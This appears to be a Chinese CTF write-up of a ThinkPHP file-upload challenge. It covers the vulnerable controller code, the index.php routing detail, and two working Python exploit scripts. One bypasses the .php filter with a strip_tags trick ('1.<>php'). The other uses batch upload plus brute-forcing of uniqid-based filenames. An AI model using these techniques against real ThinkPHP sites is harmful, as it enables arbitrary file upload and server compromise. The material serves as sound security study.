知识点: thinkphp upload 漏洞利用
命名空间就是相当于一个文件夹的路径。同一个命名空间下,不能有相同的类文件。同名的类文件可以存在于不同的命名空间下面。
用了命名空间,可以方便的调用其他文件夹下的文件。
只需要通过using、import、use引入命名空间下的文件即可。
来自:https://www.php.cn/php-weizijiaocheng-108860.html
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
在做题前我们需要知道知识点就是,在路由里,默认的上传文件路径是/home/index/upload,但是这题有一个坑 如果我们输url+/home/index/upload的话,会404。
原理:
tp内置了一套上传文件的方法在配置的时候不知道大家有没有注意过根目录配置的问题。
eg: $upload->rootPath = './OA/Uploads/';
这样配置就可以定位到 根目录/OA/Uploads/下。
这个'./' 众所周知是表示当前目录,可是在这里为什么可以被解析为根目录呢?
百思不得其解,后来终于意识到一个问题,由于thinkphp是单入口文件,所有的问题都要由index.php进入,故而这个'./'是相对于index.php 的目录,终于明白了吧。?
原文链接:https://blog.csdn.net/qq_28779275/article/details/79153645
而在这边默认上传路径是index.php,于是我们在上传路径前加上index.php就行了。
代码层绕过
传进入的文件名在处理的时候被这么处理:
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}
有个strip_tags,直接绕,传1.<>php,直接出flag:
import requests
url = "http://8cbe0e9c-b7de-46f3-b93d-555073775ad1.node3.buuoj.cn/index.php/home/index/upload"
files={'file':('1.<>php',"")}
r=requests.post(url=url,files=files)
print(r.text)
upload()批量上传
原理:
think PHP里的upload()函数在不传参的情况下是批量上传的
upload类的错误使用而导致的getshell ,我们知道 如果upload类在不含参的时候上传是不会对文件进行过滤的,也就是会把整个$_FILE数组的文件都上传。
也就是说不传参的情况下是批量上传的,整个$_FILES数组的上传的文件都会被保存,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测。
且thinkphp对于文件命名是用uniqid()函数,这是基于毫秒级的当前时间,也就是我们可以先上传一个文件,然后通过上传的文件名爆破出我们php文件的名字。
import requests
url = 'http://96fb3f40-df0d-46c4-be7f-008d01f36fec.node4.buuoj.cn:81/index.php/Home/index/upload'
file1 = {'file':("1.txt","")}
file2 = {'file[]':('1.<>php',"")}
file3 = {'file':("1.txt","")}
r=requests.post(url,files=file1)
print(r.text)
r=requests.post(url,files=file2)
print(r.text)
r=requests.post(url,files=file3)
print(r.text)
dir='abcdef0123456789'
for i in dir:
for j in dir:
for x in dir:
for y in dir:
for z in dir:
url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z)
r = requests.get(url)
print(url)
if r.status_code== 200:
print(url)
break
https://www.icode9.com/content-4-774200.html
https://blog.csdn.net/rfrder/article/details/116036092